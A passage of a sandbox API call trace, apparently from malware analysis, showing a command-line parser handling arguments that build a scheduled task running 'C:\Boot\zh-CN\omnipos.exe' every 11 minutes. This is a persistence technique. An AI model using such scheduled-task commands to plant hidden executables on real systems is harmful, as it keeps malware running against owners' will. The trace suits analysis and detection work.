lstrlenW (lpString="|sc|") returned 4 [0091.685] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0091.685] SetLastError (dwErrCode=0x490) [0091.685] lstrlenW (lpString="sc") returned 2 [0091.685] lstrlenW (lpString="sc") returned 2 [0091.685] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.686] lstrlenW (lpString="sc") returned 2 [0091.686] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.686] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|sc|") returned 4 [0091.686] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|sc|") returned 4 [0091.686] lstrlenW (lpString="|sc|") returned 4 [0091.686] lstrlenW (lpString="|sc|") returned 4 [0091.686] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0091.686] SetLastError (dwErrCode=0x0) [0091.686] SetLastError (dwErrCode=0x0) [0091.686] lstrlenW (lpString="MINUTE") returned 6 [0091.686] lstrlenW (lpString="-/") returned 2 [0091.686] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0091.686] SetLastError (dwErrCode=0x490) [0091.686] SetLastError (dwErrCode=0x490) [0091.686] SetLastError (dwErrCode=0x0) [0091.686] lstrlenW (lpString="MINUTE") returned 6 [0091.686] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0091.686] SetLastError (dwErrCode=0x490) [0091.686] SetLastError (dwErrCode=0x0) [0091.686] GetProcessHeap () returned 0x2d0000 [0091.686] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2ed660 [0091.686] _memicmp (_Buf1=0x2ed660, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.686] lstrlenW (lpString="MINUTE") returned 6 [0091.686] GetProcessHeap () returned 0x2d0000 [0091.686] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ed680 [0091.686] lstrlenW (lpString="MINUTE") returned 6 [0091.686] lstrlenW (lpString=" \x09") returned 2 [0091.686] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0091.686] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0091.686] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0091.686] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0091.686] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0091.686] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0091.687] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0091.687] GetLastError () returned 0x0 [0091.687] lstrlenW (lpString="MINUTE") returned 6 [0091.687] lstrlenW (lpString="MINUTE") returned 6 [0091.687] SetLastError (dwErrCode=0x0) [0091.687] SetLastError (dwErrCode=0x0) [0091.687] lstrlenW (lpString="/mo") returned 3 [0091.687] lstrlenW (lpString="-/") returned 2 [0091.687] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0091.687] lstrlenW (lpString="create") returned 6 [0091.687] lstrlenW (lpString="create") returned 6 [0091.687] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.687] lstrlenW (lpString="mo") returned 2 [0091.687] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.687] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|create|") returned 8 [0091.687] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|mo|") returned 4 [0091.687] lstrlenW (lpString="|create|") returned 8 [0091.687] lstrlenW (lpString="|mo|") returned 4 [0091.687] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0091.687] SetLastError (dwErrCode=0x490) [0091.687] lstrlenW (lpString="?") returned 1 [0091.687] lstrlenW (lpString="?") returned 1 [0091.687] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.687] lstrlenW (lpString="mo") returned 2 [0091.687] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.687] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|?|") returned 3 [0091.687] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|mo|") returned 4 [0091.687] lstrlenW (lpString="|?|") returned 3 [0091.687] lstrlenW (lpString="|mo|") returned 4 [0091.687] SetLastError (dwErrCode=0x490) [0091.687] lstrlenW (lpString="s") returned 1 [0091.687] lstrlenW (lpString="s") returned 1 [0091.688] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.688] lstrlenW (lpString="mo") returned 2 [0091.688] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.688] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|s|") returned 3 [0091.688] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|mo|") returned 4 [0091.688] lstrlenW (lpString="|s|") returned 3 [0091.688] lstrlenW (lpString="|mo|") returned 4 [0091.688] SetLastError (dwErrCode=0x490) [0091.688] lstrlenW (lpString="u") returned 1 [0091.688] lstrlenW (lpString="u") returned 1 [0091.688] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.688] lstrlenW (lpString="mo") returned 2 [0091.688] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.688] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|u|") returned 3 [0091.688] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|mo|") returned 4 [0091.688] lstrlenW (lpString="|u|") returned 3 [0091.688] lstrlenW (lpString="|mo|") returned 4 [0091.688] SetLastError (dwErrCode=0x490) [0091.688] lstrlenW (lpString="p") returned 1 [0091.688] lstrlenW (lpString="p") returned 1 [0091.688] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.688] lstrlenW (lpString="mo") returned 2 [0091.688] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.688] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|p|") returned 3 [0091.688] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|mo|") returned 4 [0091.688] lstrlenW (lpString="|p|") returned 3 [0091.688] lstrlenW (lpString="|mo|") returned 4 [0091.688] SetLastError (dwErrCode=0x490) [0091.688] lstrlenW (lpString="ru") returned 2 [0091.688] lstrlenW (lpString="ru") returned 2 [0091.689] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.689] lstrlenW (lpString="mo") returned 2 [0091.689] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.689] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|ru|") returned 4 [0091.689] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|mo|") returned 4 [0091.689] lstrlenW (lpString="|ru|") returned 4 [0091.689] lstrlenW (lpString="|mo|") returned 4 [0091.689] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0091.689] SetLastError (dwErrCode=0x490) [0091.689] lstrlenW (lpString="rp") returned 2 [0091.689] lstrlenW (lpString="rp") returned 2 [0091.689] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.689] lstrlenW (lpString="mo") returned 2 [0091.689] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.689] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rp|") returned 4 [0091.689] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|mo|") returned 4 [0091.689] lstrlenW (lpString="|rp|") returned 4 [0091.689] lstrlenW (lpString="|mo|") returned 4 [0091.689] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0091.689] SetLastError (dwErrCode=0x490) [0091.689] lstrlenW (lpString="sc") returned 2 [0091.689] lstrlenW (lpString="sc") returned 2 [0091.689] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.689] lstrlenW (lpString="mo") returned 2 [0091.689] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.689] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|sc|") returned 4 [0091.689] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|mo|") returned 4 [0091.689] lstrlenW (lpString="|sc|") returned 4 [0091.689] lstrlenW (lpString="|mo|") returned 4 [0091.689] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0091.690] SetLastError (dwErrCode=0x490) [0091.690] lstrlenW (lpString="mo") returned 2 [0091.690] lstrlenW (lpString="mo") returned 2 [0091.690] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.690] lstrlenW (lpString="mo") returned 2 [0091.690] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.690] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|mo|") returned 4 [0091.690] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|mo|") returned 4 [0091.690] lstrlenW (lpString="|mo|") returned 4 [0091.690] lstrlenW (lpString="|mo|") returned 4 [0091.690] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0091.690] SetLastError (dwErrCode=0x0) [0091.690] SetLastError (dwErrCode=0x0) [0091.690] lstrlenW (lpString="11") returned 2 [0091.690] lstrlenW (lpString="-/") returned 2 [0091.690] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0091.690] SetLastError (dwErrCode=0x490) [0091.690] SetLastError (dwErrCode=0x490) [0091.690] SetLastError (dwErrCode=0x0) [0091.690] lstrlenW (lpString="11") returned 2 [0091.690] StrChrIW (lpStart="11", wMatch=0x3a) returned 0x0 [0091.690] SetLastError (dwErrCode=0x490) [0091.690] SetLastError (dwErrCode=0x0) [0091.690] _memicmp (_Buf1=0x2ed660, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.690] lstrlenW (lpString="11") returned 2 [0091.690] lstrlenW (lpString="11") returned 2 [0091.690] lstrlenW (lpString=" \x09") returned 2 [0091.690] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0091.690] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0091.690] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0091.690] GetLastError () returned 0x0 [0091.690] lstrlenW (lpString="11") returned 2 [0091.690] lstrlenW (lpString="11") returned 2 [0091.691] GetProcessHeap () returned 0x2d0000 [0091.691] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x6) returned 0x2e5510 [0091.691] SetLastError (dwErrCode=0x0) [0091.691] SetLastError (dwErrCode=0x0) [0091.691] lstrlenW (lpString="/tr") returned 3 [0091.691] lstrlenW (lpString="-/") returned 2 [0091.691] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0091.691] lstrlenW (lpString="create") returned 6 [0091.691] lstrlenW (lpString="create") returned 6 [0091.691] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.691] lstrlenW (lpString="tr") returned 2 [0091.691] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.691] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|create|") returned 8 [0091.691] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tr|") returned 4 [0091.691] lstrlenW (lpString="|create|") returned 8 [0091.691] lstrlenW (lpString="|tr|") returned 4 [0091.691] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0091.691] SetLastError (dwErrCode=0x490) [0091.691] lstrlenW (lpString="?") returned 1 [0091.691] lstrlenW (lpString="?") returned 1 [0091.691] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.691] lstrlenW (lpString="tr") returned 2 [0091.691] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.691] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|?|") returned 3 [0091.691] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tr|") returned 4 [0091.691] lstrlenW (lpString="|?|") returned 3 [0091.691] lstrlenW (lpString="|tr|") returned 4 [0091.692] SetLastError (dwErrCode=0x490) [0091.692] lstrlenW (lpString="s") returned 1 [0091.692] lstrlenW (lpString="s") returned 1 [0091.692] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.692] lstrlenW (lpString="tr") returned 2 [0091.692] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.692] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|s|") returned 3 [0091.692] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tr|") returned 4 [0091.692] lstrlenW (lpString="|s|") returned 3 [0091.692] lstrlenW (lpString="|tr|") returned 4 [0091.692] SetLastError (dwErrCode=0x490) [0091.692] lstrlenW (lpString="u") returned 1 [0091.692] lstrlenW (lpString="u") returned 1 [0091.692] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.692] lstrlenW (lpString="tr") returned 2 [0091.692] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.692] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|u|") returned 3 [0091.692] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tr|") returned 4 [0091.692] lstrlenW (lpString="|u|") returned 3 [0091.692] lstrlenW (lpString="|tr|") returned 4 [0091.692] SetLastError (dwErrCode=0x490) [0091.692] lstrlenW (lpString="p") returned 1 [0091.692] lstrlenW (lpString="p") returned 1 [0091.692] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.692] lstrlenW (lpString="tr") returned 2 [0091.692] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.692] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|p|") returned 3 [0091.692] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tr|") returned 4 [0091.692] lstrlenW (lpString="|p|") returned 3 [0091.693] lstrlenW (lpString="|tr|") returned 4 [0091.693] SetLastError (dwErrCode=0x490) [0091.693] lstrlenW (lpString="ru") returned 2 [0091.693] lstrlenW (lpString="ru") returned 2 [0091.693] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.693] lstrlenW (lpString="tr") returned 2 [0091.693] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.693] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|ru|") returned 4 [0091.693] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tr|") returned 4 [0091.693] lstrlenW (lpString="|ru|") returned 4 [0091.693] lstrlenW (lpString="|tr|") returned 4 [0091.693] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0091.693] SetLastError (dwErrCode=0x490) [0091.693] lstrlenW (lpString="rp") returned 2 [0091.693] lstrlenW (lpString="rp") returned 2 [0091.693] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.693] lstrlenW (lpString="tr") returned 2 [0091.693] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.693] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|rp|") returned 4 [0091.693] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tr|") returned 4 [0091.693] lstrlenW (lpString="|rp|") returned 4 [0091.693] lstrlenW (lpString="|tr|") returned 4 [0091.693] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0091.693] SetLastError (dwErrCode=0x490) [0091.693] lstrlenW (lpString="sc") returned 2 [0091.693] lstrlenW (lpString="sc") returned 2 [0091.693] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.693] lstrlenW (lpString="tr") returned 2 [0091.693] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.693] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|sc|") returned 4 [0091.693] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tr|") returned 4 [0091.693] lstrlenW (lpString="|sc|") returned 4 [0091.694] lstrlenW (lpString="|tr|") returned 4 [0091.694] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0091.694] SetLastError (dwErrCode=0x490) [0091.694] lstrlenW (lpString="mo") returned 2 [0091.694] lstrlenW (lpString="mo") returned 2 [0091.694] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.694] lstrlenW (lpString="tr") returned 2 [0091.694] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.694] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|mo|") returned 4 [0091.694] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tr|") returned 4 [0091.694] lstrlenW (lpString="|mo|") returned 4 [0091.694] lstrlenW (lpString="|tr|") returned 4 [0091.694] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0091.694] SetLastError (dwErrCode=0x490) [0091.694] lstrlenW (lpString="d") returned 1 [0091.694] lstrlenW (lpString="d") returned 1 [0091.694] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.694] lstrlenW (lpString="tr") returned 2 [0091.694] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.694] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|d|") returned 3 [0091.694] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tr|") returned 4 [0091.694] lstrlenW (lpString="|d|") returned 3 [0091.694] lstrlenW (lpString="|tr|") returned 4 [0091.694] SetLastError (dwErrCode=0x490) [0091.694] lstrlenW (lpString="m") returned 1 [0091.694] lstrlenW (lpString="m") returned 1 [0091.694] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.694] lstrlenW (lpString="tr") returned 2 [0091.694] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.694] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|m|") returned 3 [0091.695] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tr|") returned 4 [0091.695] lstrlenW (lpString="|m|") returned 3 [0091.695] lstrlenW (lpString="|tr|") returned 4 [0091.695] SetLastError (dwErrCode=0x490) [0091.695] lstrlenW (lpString="i") returned 1 [0091.695] lstrlenW (lpString="i") returned 1 [0091.695] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.695] lstrlenW (lpString="tr") returned 2 [0091.695] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.695] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|i|") returned 3 [0091.695] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tr|") returned 4 [0091.695] lstrlenW (lpString="|i|") returned 3 [0091.695] lstrlenW (lpString="|tr|") returned 4 [0091.695] SetLastError (dwErrCode=0x490) [0091.695] lstrlenW (lpString="tn") returned 2 [0091.695] lstrlenW (lpString="tn") returned 2 [0091.695] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.695] lstrlenW (lpString="tr") returned 2 [0091.695] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.695] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tn|") returned 4 [0091.695] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tr|") returned 4 [0091.695] lstrlenW (lpString="|tn|") returned 4 [0091.695] lstrlenW (lpString="|tr|") returned 4 [0091.695] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0091.695] SetLastError (dwErrCode=0x490) [0091.695] lstrlenW (lpString="tr") returned 2 [0091.695] lstrlenW (lpString="tr") returned 2 [0091.695] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.695] lstrlenW (lpString="tr") returned 2 [0091.695] _memicmp (_Buf1=0x2ec300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.695] _vsnwprintf (in: _Buffer=0x2ec340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tr|") returned 4 [0091.695] _vsnwprintf (in: _Buffer=0x2ec320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc668 | out: _Buffer="|tr|") returned 4 [0091.696] lstrlenW (lpString="|tr|") returned 4 [0091.696] lstrlenW (lpString="|tr|") returned 4 [0091.696] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0091.696] SetLastError (dwErrCode=0x0) [0091.696] SetLastError (dwErrCode=0x0) [0091.696] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0091.696] lstrlenW (lpString="-/") returned 2 [0091.696] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0091.696] SetLastError (dwErrCode=0x490) [0091.696] SetLastError (dwErrCode=0x490) [0091.696] SetLastError (dwErrCode=0x0) [0091.696] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0091.696] StrChrIW (lpStart="'C:\\Boot\\zh-CN\\omnipos.exe'", wMatch=0x3a) returned=":\\Boot\\zh-CN\\omnipos.exe'" [0091.696] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0091.696] _memicmp (_Buf1=0x2ec430, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.696] _memicmp (_Buf1=0x2ed600, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.696] SetLastError (dwErrCode=0x7a) [0091.696] SetLastError (dwErrCode=0x0) [0091.696] SetLastError (dwErrCode=0x0) [0091.696] lstrlenW (lpString="'C") returned 2 [0091.696] lstrlenW (lpString="-/") returned 2 [0091.696] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0091.696] SetLastError (dwErrCode=0x490) [0091.696] SetLastError (dwErrCode=0x490) [0091.696] SetLastError (dwErrCode=0x0) [0091.696] _memicmp (_Buf1=0x2ed660, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.696] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0091.696] GetProcessHeap () returned 0x2d0000 [0091.696] HeapValidate (hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2ed680) returned 1 [0091.696] GetProcessHeap () returned 0x2d0000 [0091.696] RtlReAllocateHeap (Heap=0x2d0000, Flags=0xc, Ptr=0x2ed680, Size=0x38) returned 0x2e7c10 [0091.696] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0091.696] lstrlenW (lpString=" \x09") returned 2 [0091.696] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0091.696] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x7a) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0091.697] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0091.697] GetLastError () returned 0x0 [0091.697] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0091.697] lstrlenW (lpString="'C:\\Boot\\zh-CN\\omnipos.exe'") returned 27 [0091.697] SetLastError (dwErrCode=0x0) [0091.697] SetLastError (dwErrCode=0x0) [0091.697] lstrlenW (lpString="/rl") returned 3 [0091.697] lstrlenW (lpString="-/") returned 2 [0091.697] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0091.697] lstrlenW (lpString="create") returned 6 [0091.697] lstrlenW (lpString="create") returned 6 [0091.698] _memicmp (_Buf1=0x2ec1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0091.698] lstrlenW (lpString="rl") returned 2 [0091.698] 